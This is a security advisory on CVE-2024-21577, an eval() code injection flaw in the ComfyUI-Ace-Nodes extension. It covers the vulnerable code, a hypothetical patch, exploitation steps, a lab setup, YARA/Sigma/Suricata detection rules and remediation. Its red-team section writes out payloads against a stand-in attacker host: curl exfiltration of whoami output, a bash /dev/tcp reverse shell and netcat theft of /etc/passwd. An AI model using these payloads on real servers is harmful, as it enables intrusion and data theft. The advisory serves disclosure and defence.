CVE-2024-21577

Executive Summary

CVE-2024-21577 is a critical code injection vulnerability in the ComfyUI-Ace-Nodes extension for ComfyUI, a popular node-based workflow tool for AI image generation. The vulnerability resides in the ACE_ExpressionEval node, which uses an eval() function that accepts arbitrary user-controlled data without sanitization. An attacker can craft a malicious workflow that, when executed by a server or user, results in arbitrary code execution (ACE) on the underlying system. With a CVSS score of 10.0, this vulnerability poses a severe risk to any deployment using the affected node, potentially leading to full system compromise, data exfiltration, or lateral movement within a network.

Supply Chain & Package Security

ComfyUI-Ace-Nodes is distributed as a custom node package for ComfyUI, typically installed via Git or direct download from GitHub. The vulnerability is introduced through the ACE_ExpressionEval node's source code, which is part of the package's Python backend. Since the package is not managed through a centralized package manager like PyPI (it is a custom node), supply chain risks include:

• Malicious forks: Attackers could distribute modified versions of the package containing backdoors.
• Dependency confusion: If the package were to be uploaded to PyPI with a similar name, users might install a malicious version.
• Lack of integrity verification: Without official signing or checksums, users cannot verify the authenticity of the package.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – Full data access possible.
• Integrity (I): High – Arbitrary code execution allows modification of system state.
• Availability (A): High – Attackers can disrupt services or destroy data.

Threat Level: Critical. The vulnerability is trivial to exploit (no authentication, low complexity) and can lead to full remote code execution. The EPSS score of 0.0% indicates low exploitation activity currently, but the high CVSS score and ease of exploitation make it a prime target for automated scanning and weaponization.

Deep Dive & Mechanics

The vulnerability exists in the ACE_ExpressionEval node, which is designed to evaluate mathematical expressions or custom logic within a ComfyUI workflow. The node's entrypoint function uses Python's built-in eval() function to process user-supplied input. The eval() function interprets and executes arbitrary Python code, and when the input is not sanitized, an attacker can inject malicious code.

Technical Flow:

1. A user creates a ComfyUI workflow that includes the ACE_ExpressionEval node.
2. The node accepts a string input (e.g., from a text field or another node's output).
3. The node's Python code passes this input directly to eval() without any validation or sanitization.
4. The eval() function executes the input as Python code, allowing the attacker to run arbitrary commands on the server.

Example of vulnerable code:

def entrypoint(self, expression):
    result = eval(expression)  # Vulnerable: no sanitization
    return result

Example of malicious input:

__import__('os').system('id')

This would execute the id command on the server, returning the user ID.

Vulnerable vs. Patched Code

Vulnerable Code (from ACE_ExpressionEval node):

def entrypoint(self, expression):
    # No input validation
    result = eval(expression)
    return result

Patched Code (hypothetical, as no official patch exists):

import ast

def entrypoint(self, expression):
    # Use AST to safely evaluate only literals
    try:
        tree = ast.parse(expression, mode='eval')
        # Only allow literals (numbers, strings, lists, etc.)
        if not all(isinstance(node, (ast.Expression, ast.Constant, ast.List, ast.Tuple, ast.Dict, ast.Name, ast.UnaryOp, ast.BinOp, ast.BoolOp, ast.Compare)) for node in ast.walk(tree)):
            raise ValueError("Unsafe expression")
        result = eval(compile(tree, '<string>', 'eval'), {"__builtins__": {}}, {})
        return result
    except Exception as e:
        return str(e)

Key Differences:

• The patched version uses ast.parse to restrict the expression to safe literals and operations.
• It disables built-in functions by passing an empty __builtins__ dictionary to eval().
• It raises an error if the expression contains unsafe constructs like function calls or imports.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A ComfyUI instance with the ComfyUI-Ace-Nodes package installed.
• Network access to the ComfyUI web interface (default port 8188).
• Ability to create or modify a workflow (no authentication required by default).

Exploitation Steps:

1. Access the ComfyUI web interface.
2. Create a new workflow.
3. Add the ACE_ExpressionEval node from the node menu.
4. Connect a text input node (e.g., "Text Multiline") to the ACE_ExpressionEval node's input.
5. In the text input, enter a malicious payload, such as:

   __import__('os').system('curl http://attacker.com/$(whoami)')
   

6. Execute the workflow (click "Queue Prompt").
7. The server will execute the payload, sending the output of whoami to the attacker's server.

Alternative Payloads:

• Reverse shell: __import__('os').system('bash -i >& /dev/tcp/attacker.com/4444 0>&1')
• Data exfiltration: __import__('os').system('cat /etc/passwd | nc attacker.com 1234')
• File write: __import__('os').system('echo "malicious" > /tmp/evil.txt')

Lab Setup:

• Use a Docker container running ComfyUI with the vulnerable node:

  docker run -d -p 8188:8188 --name comfyui-vuln comfyui/comfyui:latest
  docker exec -it comfyui-vuln bash
  cd /ComfyUI/custom_nodes
  git clone https://github.com/your-fork/ComfyUI-Ace-Nodes.git
  

• Alternatively, use a local Python environment with ComfyUI installed.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual Python processes spawned by the ComfyUI server.
• Look for network connections to unknown IPs from the ComfyUI server.
• Analyze workflow logs for suspicious expressions containing __import__, os.system, subprocess, or eval.

Defense:

• Immediate: Remove or disable the ACE_ExpressionEval node from the custom nodes folder.
• Network: Restrict outbound traffic from the ComfyUI server to only necessary destinations.
• Sandboxing: Run ComfyUI in a container with minimal privileges and no network access to internal systems.
• Input Validation: Implement a reverse proxy that blocks requests containing eval or __import__ in the body.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Presence of the ComfyUI-Ace-Nodes directory in /ComfyUI/custom_nodes/.
• Modified workflow files (.json) containing ACE_ExpressionEval nodes with suspicious expressions.

Network IOCs:

• Outbound connections from the ComfyUI server to unknown IPs on ports 80, 443, or custom ports.
• DNS queries to domains associated with C2 infrastructure.

Process IOCs:

• Python processes executing commands like id, whoami, curl, wget, or nc.
• Unexpected child processes spawned by the ComfyUI Python process.

Log IOCs:

• ComfyUI logs containing error messages like eval() or exec().
• Web server logs showing POST requests to /prompt with large payloads containing __import__.

Detection Engineering

YARA Rule

rule CVE_2024_21577_ComfyUI_Code_Injection {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-21577 in ComfyUI-Ace-Nodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-21577"
    strings:
        $eval_call = "eval("
        $import_os = "__import__('os')"
        $system_call = ".system("
        $subprocess_call = "subprocess"
    condition:
        any of ($eval_call, $import_os, $system_call, $subprocess_call)
}

Sigma Rule

title: CVE-2024-21577 ComfyUI-Ace-Nodes Code Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2024-21577 via malicious workflow payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/prompt'
        cs-body|contains: 
            - '__import__'
            - 'os.system'
            - 'eval('
    condition: selection
falsepositives:
    - Legitimate use of eval in non-malicious workflows (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-21577 ComfyUI-Ace-Nodes Code Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/prompt"; http_uri; content:"__import__"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable node: Remove or rename the ACE_ExpressionEval node file (e.g., mv ACE_ExpressionEval.py ACE_ExpressionEval.py.disabled).
2. Restrict network access: Use a firewall to block outbound traffic from the ComfyUI server to the internet.
3. Monitor for exploitation: Review logs for any signs of malicious activity.

Long-Term Fixes:

1. Patch the code: Replace eval() with a safe expression parser (e.g., ast.literal_eval or a custom parser).
2. Update dependencies: Ensure ComfyUI and all custom nodes are up to date.
3. Implement authentication: Add a reverse proxy with authentication (e.g., Nginx with basic auth) to prevent unauthorized access to the ComfyUI interface.
4. Use a Web Application Firewall (WAF): Deploy a WAF to block malicious payloads containing eval, __import__, or os.system.

Workarounds:

• If the node is essential, create a whitelist of allowed expressions (e.g., only mathematical operations) and reject anything else.
• Run ComfyUI in a sandboxed environment (e.g., Docker with read-only filesystem and no network).

Valters IT
Securing Digital Frontiers